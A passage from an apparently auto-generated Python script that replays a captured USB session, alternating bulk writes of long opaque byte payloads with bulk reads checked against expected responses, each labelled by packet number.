b\"\\x2C\\x79\\x14\\xF6\\x12\\x76\\x3B\\xE6\\x32\\x7E\\xD1\\x3D\\xF8\\xAA\\xF5\\x76\"\n b\"\\x21\\xB1\\x34\\xA7\\x93\\x5C\\x5E\\x0D\\x8D\\xFC\\x94\\x1F\\x59\\x50\\x83\\xC3\"\n b\"\\xB4\\x25\\xC3\\x97\\x91\\xDF\\xD1\\xC6\\x0E\\xFA\\xA5\\x77\\x65\\x5E\\x2E\\xAE\"\n b\"\\x3B\\x72\\x56\\x9B\\x8C\\x31\\xEF\\x92\\x24\\x75\\x03\\x74\\xDC\\x18\\x84\\xD5\"\n b\"\\x49\\x0D\\x7D\\xEA\\xA8\\xD4\\x4D\\x1B\\xC6\\x7A\\xCB\\x4C\\x33\\x2E\\x70\\x44\"\n b\"\\xD1\\x79\\xEE\\xDD\\x1E\\xC6\\x2F\\x34\\x0C\\x52\\xA8\\x38\\xD0\\x9A\\xFF\\x15\"\n b\"\\xE6\\xA0\\x1C\\x92\\xB5\\x26\\xC2\\x27\\xED\\x2F\\x93\\x41\\xFB\\x36\\xED\\xE6\"\n b\"\\x72\\x15\\x49\\x40\\x30\\x4E\\x21\\x85\\xD9\\x86\\x84\\xBF\\x07\\x4C\\xDE\\x29\"\n b\"\\x40\\xA5\\xA2\\x58\\xB6\\x9B\\x6F\\x17\\x27\\xC3\\xF3\\x04\\x56\\x7B\\xDF\\x0E\"\n b\"\\x6F\\xAC\\x98\\x7C\\x17\\x50\\x13\\x42\\x36\\xEC\\xFD\\xC8\")\n # Generated from packet 3663/3664\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3663/3664\")\n # Generated from packet 3665/3666\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2B\\x9C\\xEC\\x74\\xF2\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF3\\xB0\\x47\\x26\\xDC\\x83\\x4F\\xEC\"\n b\"\\xBB\\xAF\\x77\\xEF\\x55\\x75\\x88\\xB0\\x3C\\x35\\x94\\xB0\\x6E\\x20\\xFA\\x6F\"\n b\"\\xD3\\xDC\\x5C\\xDF\\x50\\x7A\\x49\\xDF\\x9C\\x4E\\xBE\\xD3\\xCE\\xD3\\x85\\xB8\"\n b\"\\x18\\xF3\\x3D\\x18\\x3F\\x8D\\x06\\x4A\\x4B\\x65\\x1C\\x3F\\x29\\xFA\\x14\\xF6\"\n b\"\\x17\\xF5\\x3B\\xE6\\x37\\xFD\\xD1\\x3D\\xFD\\x29\\xF5\\x76\\x24\\x32\\x34\\xA7\"\n b\"\\x96\\xDF\\x5E\\x0D\\x88\\x7F\\x94\\x1F\\x5C\\xD3\\x83\\xC3\\xB1\\xA6\\xC3\\x97\"\n b\"\\x94\\x5C\\xD1\\xC6\\x0B\\x79\\xA5\\x77\\x60\\xDD\\x2E\\xAE\\x3E\\xF1\\x56\\x9B\"\n b\"\\x89\\xB2\\xEF\\x92\\x21\\xF6\\x03\\x74\\xD9\\x9B\\x84\\xD5\\x4C\\x8E\\x7D\\xEA\"\n b\"\\xAD\\x57\\x4D\\x1B\\xC3\\xF9\\xCB\\x4C\\x36\\xAD\\x70\\x44\\xD4\\xFA\\xEE\\xDD\"\n b\"\\x1B\\x45\\x2F\\x34\\x09\\xD1\\xA8\\x38\\xD5\\x19\\xFF\\x15\\xE3\\x23\\x1C\\x92\"\n b\"\\xB0\\xA5\\xC2\\x27\\xE8\\xAC\\x93\\x41\\xFE\\xB5\\xED\\xE6\\x77\\x96\\x49\\x40\"\n b\"\\x35\\xCD\\x21\\x85\\xDC\\x05\\x84\\xBF\\x02\\xCF\\xDE\\x29\\x45\\x26\\xA2\\x58\"\n b\"\\xB3\\x18\\x6F\\x17\\x22\\x40\\xF3\\x04\\x53\\xF8\\xDF\\x0E\\x6A\\x2F\\x98\\x7C\"\n b\"\\x12\\xD3\\x13\\x42\\x33\\x6F\\xFD\\xC8\\xB1\\x99\\x72\\xA1\\x04\\x59\\x9C\\x8D\"\n b\"\\x75\\x15\\x58\\x3E\\x6D\\x28\\x0C\\x2A\\xE5\\x89\\xE6\\x59\\xB5\\xBD\\xD7\\xF3\"\n b\"\\x4C\\xCE\\xF9\\x0E\\xB5\\xE4\\xC3\\x19\\x3A\\xDB\\xD3\\x56\\xCD\\xF4\\xDC\\xEB\"\n b\"\\xD6\\x2C\\x6A\\x38\\xB8\\xD3\\x23\\x71\\x3C\\xC4\\xAC\\x70\")\n # Generated from packet 3667/3668\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3667/3668\")\n # Generated from packet 3669/3670\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x31\\xA8\\xB5\\xB8\\x5B\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x40\\x1F\\x5C\\x68\\xBF\\x87\\x30\"\n b\"\\xEF\\x1E\\x12\\x25\\x16\\x21\\xF3\\xFC\\x26\\xD0\\x9D\\x52\\xA0\\x87\\x68\\x06\"\n b\"\\x1B\\x8F\\x8A\\x51\\x85\\x16\\x45\\xEE\\x44\\xFF\\x57\\x7A\\xC3\\xF3\\x8B\\xB2\"\n b\"\\x94\\xDE\\xBD\\x88\\x77\\x59\\xEE\\x0E\\xA9\\xEC\\xB6\\x07\\xF8\\x8A\\xA0\\x1E\"\n b\"\\x86\\x2D\\x29\\x3D\\x22\\x8B\\x6B\\x66\\x4A\\x4E\\x82\\xAE\\xEF\\x74\\x5C\\x64\"\n b\"\\xB5\\xE2\\x1B\\x8D\\xC9\\x93\\xED\\xB3\\x04\\xDC\\x7C\\xEB\\x98\\xCF\\x0D\\x53\"\n b\"\\xB4\\xC5\\x34\\x84\\xF3\\xB7\\x4C\\x78\\x78\\x89\\x6D\\xC4\\x96\\x03\\xEF\\x32\"\n b\"\\x19\\x6A\\x5A\\xF2\\xF7\\x46\\x2B\\xBE\\x33\\xF5\\x33\\x83\\x67\\xE1\\xBB\\x22\"\n b\"\\x8D\\x92\\xEB\\x16\\xBC\\x38\\x12\\x65\\x92\\xC5\\xEB\\x4F\\xA8\\xD2\\x64\\x70\"\n b\"\\xB8\\x9D\\x93\\x5F\\xB7\\x20\\x88\\x87\\x01\\xF3\\xE6\\x78\\x48\\xBA\\x62\\x6F\"\n b\"\\xC7\\xBB\\x58\\x28\\x61\\xBB\\xCE\\xF5\\x99\\x5F\\x3A\\xC8\\x46\\xF5\\xFF\\x1C\"\n b\"\\x4F\\x4D\\xE6\\x41\\x15\\x9E\\x70\\xEE\\x50\\x63\\xCB\\x3D\\x43\\xF4\\xDF\\x87\"\n b\"\\x49\\xC8\\x89\\xD9\\xF1\\xA8\\xBC\\xFA\\x68\\xE2\\x7C\\x14\\xF2\\x66\\xB0\\x79\"\n b\"\\xE7\\xF1\\x9C\\x8F\\xCF\\xD8\\xB4\\x7D\\xEC\\xF0\\x1E\\x8C\\x19\\xAA\\xB9\\x5F\"\n b\"\\x0B\\x63\\xB7\\x51\\x37\\x6D\\xFD\\xAC\\xDC\\x6C\\xBE\\xBB\\xC4\\xEE\\xCC\\x35\"\n b\"\\x75\\x6B\\x64\\xA8\\xD1\\xDC\\xAF\\xA3\\xDF\\x48\\xA1\\x09\\x8B\\xA6\\x5E\\x53\"\n b\"\\xC3\\x2B\\x03\\x9D\\xC1\\x10\\x7C\\xEB\\xAE\\x78\\x15\\x12\")\n # Generated from packet 3671/3672\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3671/3672\")\n # Generated from packet 3673/3674\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFF\\xF8\\xBB\\xAC\\x81\\x7A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB2\\xD8\\xE4\\xBE\\x6C\\x2B\\xDE\\x29\"\n b\"\\x2B\\xC2\\xA2\\x58\\xDD\\xFC\\x6F\\x17\\x4C\\xA4\\xF3\\x04\\x3D\\x1C\\xDF\\x0E\"\n b\"\\x04\\xCB\\x98\\x7C\\x7C\\x37\\x13\\x42\\x5D\\x8B\\xFD\\xC8\\xDF\\x7D\\x72\\xA1\"\n b\"\\x6A\\xBD\\x9C\\x8D\\x1B\\xF1\\x58\\x3E\\x03\\xCC\\x0C\\x2A\\x8B\\x6D\\xE6\\x59\"\n b\"\\xDB\\x59\\xD7\\xF3\\x22\\x2A\\xF9\\x0E\\xDB\\x00\\xC3\\x19\\x54\\x3F\\xD3\\x56\"\n b\"\\xA3\\x10\\xDC\\xEB\\xB8\\xC8\\x6A\\x38\\xD6\\x37\\x23\\x71\\x52\\x20\\xAC\\x70\"\n b\"\\x68\\x67\\x0A\\x70\\xFE\\xBA\\xF2\\x94\\x0A\\x87\\x2D\\x3E\\xCF\\x53\\x24\\x86\"\n b\"\\xD6\\x0E\\x7E\\x55\\x40\\xA1\\x3B\\xA8\\xFB\\x72\\x28\\x3F\\xEF\\xC8\\x22\\x03\"\n b\"\\xB9\\x96\\x9A\\x63\\x8C\\xB5\\x03\\x29\\x4C\\x5B\\x99\\xAD\\x80\\x36\\x8C\\x3A\"\n b\"\\xAC\\xC0\\xA4\\x13\\x84\\x32\\x87\\x3B\\x2E\\xC3\\x72\\x61\\x89\\x10\\x60\\xA8\"\n b\"\\x87\\x1E\\x5C\\xA6\\xCD\\xE3\\xB7\\xA7\\x8E\\xF4\\xAF\\x25\\xFC\\x7A\\x1E\\xA0\"\n b\"\\x54\\xE7\\xBA\\x17\\x9F\\xEC\\xB4\\x83\\x91\\x46\\xE0\\x6D\\x6E\\x1C\\xA8\\xE0\"\n b\"\\x33\\xD2\\xAA\\xDB\\x4C\\xA4\\xC5\\xB3\\x25\\x5D\\xDE\\x4A\\x62\\x4B\\xF1\\xD1\"\n b\"\\xE6\\x7C\\x93\\x9A\\x53\\x15\\x8F\\x5D\\xD2\\x12\\xFA\\x01\\x93\\x47\\xE3\\x93\"\n b\"\\xA3\\xBB\\x88\\x6C\\xBA\\x0E\\x6A\\xD8\\xEB\\x5D\\x3E\\xAA\\x57\\xED\\x49\\x0D\"\n b\"\\xE3\\xB2\\x4A\\x9F\\x2A\\x4D\\x8D\\x0C\\xE5\\x53\\x4F\\xC1\\x38\\x05\\x43\\x30\"\n b\"\\xA9\\x79\\x01\\x0A\\x12\\xD2\\xEA\\xCA\\xC6\\x11\\xCC\\x1C\")\n # Generated from packet 3675/3676\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3675/3676\")\n # Generated from packet 3677/3678\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAD\\x09\\xA9\\x90\\xA0\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x43\\x44\\xC8\\x39\\x9F\\xD5\\xFF\\x15\"\n b\"\\xA9\\xEF\\x1C\\x92\\xFA\\x69\\xC2\\x27\\xA2\\x60\\x93\\x41\\xB4\\x79\\xED\\xE6\"\n b\"\\x3D\\x5A\\x49\\x40\\x7F\\x01\\x21\\x85\\x96\\xC9\\x84\\xBF\\x48\\x03\\xDE\\x29\"\n b\"\\x0F\\xEA\\xA2\\x58\\xF9\\xD4\\x6F\\x17\\x68\\x8C\\xF3\\x04\\x19\\x34\\xDF\\x0E\"\n b\"\\x20\\xE3\\x98\\x7C\\x58\\x1F\\x13\\x42\\x79\\xA3\\xFD\\xC8\\xFB\\x55\\x72\\xA1\"\n b\"\\x4E\\x95\\x9C\\x8D\\x3F\\xD9\\x58\\x3E\\x27\\xE4\\x0C\\x2A\\xAF\\x45\\xE6\\x59\"\n b\"\\xFF\\x71\\xD7\\xF3\\x06\\x02\\xF9\\x0E\\xFF\\x28\\xC3\\x19\\x70\\x17\\xD3\\x56\"\n b\"\\x87\\x38\\xDC\\xEB\\x9C\\xE0\\x6A\\x38\\xF2\\x1F\\x23\\x71\\x76\\x08\\xAC\\x70\"\n b\"\\x4C\\x4F\\x0A\\x70\\xDA\\x92\\xF2\\x94\\x2E\\xAF\\x2D\\x3E\\xEB\\x7B\\x24\\x86\"\n b\"\\xF2\\x26\\x7E\\x55\\x64\\x89\\x3B\\xA8\\xDF\\x5A\\x28\\x3F\\xCB\\xE0\\x22\\x03\"\n b\"\\x9D\\xBE\\x9A\\x63\\xA8\\x9D\\x03\\x29\\x68\\x73\\x99\\xAD\\xA4\\x1E\\x8C\\x3A\"\n b\"\\x88\\xE8\\xA4\\x13\\xA0\\x1A\\x87\\x3B\\x0A\\xEB\\x72\\x61\\xAD\\x38\\x60\\xA8\"\n b\"\\xA3\\x36\\x5C\\xA6\\xE9\\xCB\\xB7\\xA7\\xAA\\xDC\\xAF\\x25\\xD8\\x52\\x1E\\xA0\"\n b\"\\x70\\xCF\\xBA\\x17\\xBB\\xC4\\xB4\\x83\\xB5\\x6E\\xE0\\x6D\\x4A\\x34\\xA8\\xE0\"\n b\"\\x17\\xFA\\xAA\\xDB\\x68\\x8C\\xC5\\xB3\\x01\\x75\\xDE\\x4A\\x46\\x63\\xF1\\xD1\"\n b\"\\xC2\\x54\\x93\\x9A\\x77\\x3D\\x8F\\x5D\\xF6\\x3A\\xFA\\x01\\xB7\\x6F\\xE3\\x93\"\n b\"\\x87\\x93\\x88\\x6C\\x9E\\x26\\x6A\\xD8\\xCF\\x75\\x3E\\xAA\")\n # Generated from packet 3679/3680\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3679/3680\")\n # Generated from packet 3681/3682\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x63\\x59\\xA7\\x84\\x7F\\x2E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4A\\xCB\\x5E\\x77\\xC1\\x6B\\x60\\x5A\"\n b\"\\xB9\\x5E\\xD7\\x19\\x00\\x57\\x7F\\x5D\\xEC\\xB1\\x87\\x30\\x6B\\x10\\x12\\x25\"\n b\"\\x92\\x2F\\xF3\\xFC\\xA2\\xDE\\x9D\\x52\\x24\\x89\\x68\\x06\\x9F\\x81\\x8A\\x51\"\n b\"\\x01\\x18\\x45\\xEE\\xC0\\xF1\\x57\\x7A\\x47\\xFD\\x8B\\xB2\\x10\\xD0\\xBD\\x88\"\n b\"\\xF3\\x57\\xEE\\x0E\\x2D\\xE2\\xB6\\x07\\x7C\\x84\\xA0\\x1E\\x02\\x23\\x29\\x3D\"\n b\"\\xA6\\x85\\x6B\\x66\\xCE\\x40\\x82\\xAE\\x6B\\x7A\\x5C\\x64\\x31\\xEC\\x1B\\x8D\"\n b\"\\x4D\\x9D\\xED\\xB3\\x80\\xD2\\x7C\\xEB\\x1C\\xC1\\x0D\\x53\\x30\\xCB\\x34\\x84\"\n b\"\\x77\\xB9\\x4C\\x78\\xFC\\x87\\x6D\\xC4\\x12\\x0D\\xEF\\x32\\x9D\\x64\\x5A\\xF2\"\n b\"\\x73\\x48\\x2B\\xBE\\xB7\\xFB\\x33\\x83\\xE3\\xEF\\xBB\\x22\\x09\\x9C\\xEB\\x16\"\n b\"\\x38\\x36\\x12\\x65\\x16\\xCB\\xEB\\x4F\\x2C\\xDC\\x64\\x70\\x3C\\x93\\x93\\x5F\"\n b\"\\x33\\x2E\\x88\\x87\\x85\\xFD\\xE6\\x78\\xCC\\xB4\\x62\\x6F\\x43\\xB5\\x58\\x28\"\n b\"\\xE5\\xB5\\xCE\\xF5\\x1D\\x51\\x3A\\xC8\\xC2\\xFB\\xFF\\x1C\\xCB\\x43\\xE6\\x41\"\n b\"\\x91\\x90\\x70\\xEE\\xD4\\x6D\\xCB\\x3D\\xC7\\xFA\\xDF\\x87\\xCD\\xC6\\x89\\xD9\"\n b\"\\x75\\xA6\\xBC\\xFA\\xEC\\xEC\\x7C\\x14\\x76\\x68\\xB0\\x79\\x63\\xFF\\x9C\\x8F\"\n b\"\\x4B\\xD6\\xB4\\x7D\\x68\\xFE\\x1E\\x8C\\x9D\\xA4\\xB9\\x5F\\x8F\\x6D\\xB7\\x51\"\n b\"\\xB3\\x63\\xFD\\xAC\\x58\\x62\\xBE\\xBB\\x40\\xE0\\xCC\\x35\\xF1\\x65\\x64\\xA8\"\n b\"\\x55\\xD2\\xAF\\xA3\\x5B\\x46\\xA1\\x09\\x0F\\xA8\\x5E\\x53\")\n # Generated from packet 3683/3684\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3683/3684\")\n # Generated from packet 3685/3686\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\xEB\\x8C\\xE8\\x5C\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x54\\x56\\xB1\\x48\\x54\\x03\\xE5\\xBE\"\n b\"\\x58\\x51\\x78\\x85\\x33\\x87\\x58\\x3D\\x93\\xA0\\x26\\x06\\xC1\\xD4\\xCE\\x1C\"\n b\"\\xB4\\xB6\\x51\\x14\\x7D\\x88\\x5E\\x3B\\x6D\\xA8\\x56\\xD1\\xB6\\x62\\x82\\xF5\"\n b\"\\xFD\\xBB\\x99\\x34\\x2C\\x09\\x74\\x5E\\x86\\x17\\xD4\\x94\\x94\\xC3\\x78\\x83\"\n b\"\\x48\\x2E\\x0D\\xC3\\x1C\\x0B\\xF7\\xD1\\x4D\\x94\\xD2\\xA5\\xFC\\xFF\\x76\\x2E\"\n b\"\\x25\\xA1\\x5A\\x56\\x10\\x16\\x19\\xEF\\x19\\xBE\\x5D\\x03\\xFF\\x46\\x30\\x84\"\n b\"\\x5E\\xD3\\x25\\x7D\\x61\\x32\\xFC\\x4D\\x90\\x5C\\x52\\xCB\\xC7\\xA9\\x06\\x70\"\n b\"\\xCF\\x4B\\x51\\xEE\\x56\\x84\\xEE\\x2F\\xBF\\x96\\x7A\\xA8\\xB3\\x4A\\xB2\\xFF\"\n b\"\\x9E\\x7C\\x88\\x1C\\x19\\x2F\\x0E\\xC2\\xAC\\x77\\x07\\x93\\xCA\\x61\\x1E\\xED\"\n b\"\\x6D\\xE8\\x3D\\x49\\xCB\\xAA\\x66\\x21\\x0E\\x43\\xAE\\x84\\x34\\x9D\\x64\\xDE\"\n b\"\\xA2\\xDA\\x8D\\xA2\\xD3\\x2C\\xB3\\x6F\\x9C\\xBD\\xEB\\xF3\\x8F\\xCC\\x53\\xDF\"\n b\"\\x85\\xF5\\x84\\x98\\xF7\\x8D\\x78\\x13\\xC9\\xAC\\xC4\\xFD\\x43\\x2E\\x32\\x72\"\n b\"\\x2A\\x9B\\xF2\\x9C\\x06\\xEA\\xBE\\x58\\xB5\\xF2\\x83\\x0C\\xA1\\x7A\\x22\\xE6\"\n b\"\\xD2\\x2A\\x16\\xD7\\x78\\xD3\\x65\\xF9\\x85\\x2A\\x4F\\xC3\\x92\\xA5\\x70\\xD3\"\n b\"\\xDD\\x52\\x5F\\xDC\\x60\\x49\\x87\\x6A\\xB3\\x27\\x78\\x23\\xFA\\xA3\\x6F\\xAC\"\n b\"\\xFB\\x99\\x28\\x0A\\xFB\\x0F\\xF5\\xF2\\x1F\\xFB\\xC8\\x2D\\xB5\\x3E\\x1C\\x24\"\n b\"\\x0D\\x27\\x41\\x7E\\xDE\\xB1\\xEE\\x3B\\x23\\x0A\\x3D\\x28\")\n # Generated from packet 3687/3688\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3687/3688\")\n # Generated from packet 3689/3690\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC7\\xBB\\x82\\xFC\\xCB\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0D\\x24\\x5B\\x3D\\x11\\x44\\xFC\\x6D\"\n b\"\\x36\\x13\\xB2\\x10\\x84\\x90\\xE2\\xEC\\xD0\\xC3\\xE3\\x27\\x5E\\xEC\\x28\\x4F\"\n b\"\\x95\\x8B\\x04\\x77\\x96\\x65\\xDE\\x88\\xC9\\x0C\\x9E\\x94\\xC9\\x5E\\x8B\\xFA\"\n b\"\\x16\\xE3\\x77\\x5C\\xA6\\x60\\xD1\\x49\\xA6\\xAC\\xE5\\xBE\\xAA\\xFE\\x78\\x85\"\n b\"\\xC1\\x28\\x58\\x3D\\x61\\x0F\\x26\\x06\\x33\\x7B\\xCE\\x1C\\x46\\x19\\x51\\x14\"\n b\"\\x8F\\x27\\x5E\\x3B\\x9F\\x07\\x56\\xD1\\x44\\xCD\\x82\\xF5\\x0F\\x14\\x99\\x34\"\n b\"\\xDE\\xA6\\x74\\x5E\\x74\\xB8\\xD4\\x94\\x66\\x6C\\x78\\x83\\xBA\\x81\\x0D\\xC3\"\n b\"\\xEE\\xA4\\xF7\\xD1\\xBF\\x3B\\xD2\\xA5\\x0E\\x50\\x76\\x2E\\xD7\\x0E\\x5A\\x56\"\n b\"\\xE2\\xB9\\x19\\xEF\\xEB\\x11\\x5D\\x03\\x0D\\xE9\\x30\\x84\\xAC\\x7C\\x25\\x7D\"\n b\"\\x93\\x9D\\xFC\\x4D\\x62\\xF3\\x52\\xCB\\x35\\x06\\x06\\x70\\x3D\\xE4\\x51\\xEE\"\n b\"\\xA4\\x2B\\xEE\\x2F\\x4D\\x39\\x7A\\xA8\\x41\\xE5\\xB2\\xFF\\x6C\\xD3\\x88\\x1C\"\n b\"\\xEB\\x80\\x0E\\xC2\\x5E\\xD8\\x07\\x93\\x38\\xCE\\x1E\\xED\\x9F\\x47\\x3D\\x49\"\n b\"\\x39\\x05\\x66\\x21\\xFC\\xEC\\xAE\\x84\\xC6\\x32\\x64\\xDE\\x50\\x75\\x8D\\xA2\"\n b\"\\x21\\x83\\xB3\\x6F\\x6E\\x12\\xEB\\xF3\\x7D\\x63\\x53\\xDF\\x77\\x5A\\x84\\x98\"\n b\"\\x05\\x22\\x78\\x13\\x3B\\x03\\xC4\\xFD\\xB1\\x81\\x32\\x72\\xD8\\x34\\xF2\\x9C\"\n b\"\\xF4\\x45\\xBE\\x58\\x47\\x5D\\x83\\x0C\\x53\\xD5\\x22\\xE6\\x20\\x85\\x16\\xD7\"\n b\"\\x8A\\x7C\\x65\\xF9\\x77\\x85\\x4F\\xC3\\x60\\x0A\\x70\\xD3\")\n # Generated from packet 3691/3692\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3691/3692\")\n # Generated from packet 3693/3694\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x95\\x4A\\x90\\xC0\\x1D\\x69\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x55\\xBD\\x3E\\x3A\\x45\\x44\\x56\\xD1\"\n b\"\\x9E\\x8E\\x82\\xF5\\xD5\\x57\\x99\\x34\\x04\\xE5\\x74\\x5E\\xAE\\xFB\\xD4\\x94\"\n b\"\\xBC\\x2F\\x78\\x83\\x60\\xC2\\x0D\\xC3\\x34\\xE7\\xF7\\xD1\\x65\\x78\\xD2\\xA5\"\n b\"\\xD4\\x13\\x76\\x2E\\x0D\\x4D\\x5A\\x56\\x38\\xFA\\x19\\xEF\\x31\\x52\\x5D\\x03\"\n b\"\\xD7\\xAA\\x30\\x84\\x76\\x3F\\x25\\x7D\\x49\\xDE\\xFC\\x4D\\xB8\\xB0\\x52\\xCB\"\n b\"\\xEF\\x45\\x06\\x70\\xE7\\xA7\\x51\\xEE\\x7E\\x68\\xEE\\x2F\\x97\\x7A\\x7A\\xA8\"\n b\"\\x9B\\xA6\\xB2\\xFF\\xB6\\x90\\x88\\x1C\\x31\\xC3\\x0E\\xC2\\x84\\x9B\\x07\\x93\"\n b\"\\xE2\\x8D\\x1E\\xED\\x45\\x04\\x3D\\x49\\xE3\\x46\\x66\\x21\\x26\\xAF\\xAE\\x84\"\n b\"\\x1C\\x71\\x64\\xDE\\x8A\\x36\\x8D\\xA2\\xFB\\xC0\\xB3\\x6F\\xB4\\x51\\xEB\\xF3\"\n b\"\\xA7\\x20\\x53\\xDF\\xAD\\x19\\x84\\x98\\xDF\\x61\\x78\\x13\\xE1\\x40\\xC4\\xFD\"\n b\"\\x6B\\xC2\\x32\\x72\\x02\\x77\\xF2\\x9C\\x2E\\x06\\xBE\\x58\\x9D\\x1E\\x83\\x0C\"\n b\"\\x89\\x96\\x22\\xE6\\xFA\\xC6\\x16\\xD7\\x50\\x3F\\x65\\xF9\\xAD\\xC6\\x4F\\xC3\"\n b\"\\xBA\\x49\\x70\\xD3\\xF5\\xBE\\x5F\\xDC\\x48\\xA5\\x87\\x6A\\x9B\\xCB\\x78\\x23\"\n b\"\\xD2\\x4F\\x6F\\xAC\\xD3\\x75\\x28\\x0A\\xD3\\xE3\\xF5\\xF2\\x37\\x17\\xC8\\x2D\"\n b\"\\x9D\\xD2\\x1C\\x24\\x25\\xCB\\x41\\x7E\\xF6\\x5D\\xEE\\x3B\\x0B\\xE6\\x3D\\x28\"\n b\"\\x9C\\xF2\\x87\\x22\\xA0\\xA4\\xD9\\x9A\\xC0\\x91\\xFA\\x03\\x8A\\x51\\x14\\x99\"\n b\"\\x0E\\x9D\\x79\\x8C\\x99\\xB1\\x8F\\xA4\\xB0\\x99\\x7D\\x87\")\n # Generated from packet 3695/3696\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3695/3696\")\n # Generated from packet 3697/3698\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\x1A\\x9E\\xD4\\x36\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x00\\xB3\\x91\\xBE\\xC2\\xB8\\x46\"\n b\"\\x9E\\x7A\\x18\\x61\\xE0\\x41\\x4A\\x15\\x08\\x5B\\x3F\\x77\\x97\\x53\\xF6\\x49\"\n b\"\\x98\\x7C\\xE6\\x69\\x90\\x96\\x3D\\xA3\\x44\\xB2\\x76\\x7A\\x5F\\x73\\xA7\\xC8\"\n b\"\\xB2\\x19\\x0D\\xD6\\x12\\xD3\\x1F\\x02\\xBE\\xC4\\xC3\\xEF\\xCB\\x84\\x97\\xCA\"\n b\"\\x31\\x96\\xC6\\x55\\x14\\xE2\\x77\\x3E\\xB0\\x69\\xAE\\x60\\x9C\\x11\\x9B\\xD7\"\n b\"\\xDF\\xA8\\x92\\x7F\\x9B\\x44\\x74\\x87\\xF6\\xC3\\xD5\\x12\\xE3\\x3A\\xEA\\xF3\"\n b\"\\x3A\\x0A\\x1B\\x9D\\x94\\x8C\\x4C\\x68\\xC0\\x37\\x44\\x8A\\x97\\xA9\\xDD\\x45\"\n b\"\\x28\\x68\\x34\\x57\\xBC\\xEF\\x38\\x8B\\x74\\xB8\\x15\\xBD\\x4E\\x5B\\x92\\xEE\"\n b\"\\xC8\\x85\\x27\\xB6\\xC1\\xD4\\x41\\xA0\\xD8\\xAA\\xE6\\x29\\xFB\\x0E\\x40\\x6B\"\n b\"\\xA0\\x66\\x85\\x82\\x68\\xC3\\xBF\\x5C\\xA2\\x99\\x29\\x1B\\x4B\\xE5\\x58\\xED\"\n b\"\\x75\\x28\\x17\\x7C\\x2D\\xB4\\x04\\x0D\\x95\\x98\\x0E\\x34\\x42\\xDF\\x7C\\x4C\"\n b\"\\xBE\\x54\\x42\\x6D\\x02\\xBA\\xC8\\xEF\\xF4\\x35\\xA1\\x5A\\x34\\xDB\\x8D\\x2B\"\n b\"\\x78\\x1F\\x3E\\x33\\x45\\x4B\\x2A\\xBB\\xE4\\xA1\\x59\\xEB\\xD0\\x90\\xF3\\x12\"\n b\"\\xA3\\xBE\\x0E\\xEB\\x89\\x84\\x19\\x64\\xB6\\x94\\x56\\x93\\x99\\x9B\\xEB\\x88\"\n b\"\\x41\\x2D\\x38\\xE6\\xBE\\x64\\x71\\x62\\xA9\\xEB\\x70\\x58\\xEE\\x4D\\x70\\xCE\"\n b\"\\x33\\xB5\\x94\\x3A\\x0E\\x6A\\x3E\\xFF\\xDA\\x63\\x86\\xE6\\x87\\x39\\x55\\x70\"\n b\"\\x28\\x7C\\xA8\\xCB\\xFB\\x6F\\x3F\\xDF\\x41\\x65\\x03\\x89\")\n # Generated from packet 3699/3700\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3699/3700\")\n # Generated from packet 3701/3702\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE0\\x24\\x53\\x83\\xE9\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7D\\xD0\\x06\\x20\\xB8\\x23\\xAE\\x84\"\n 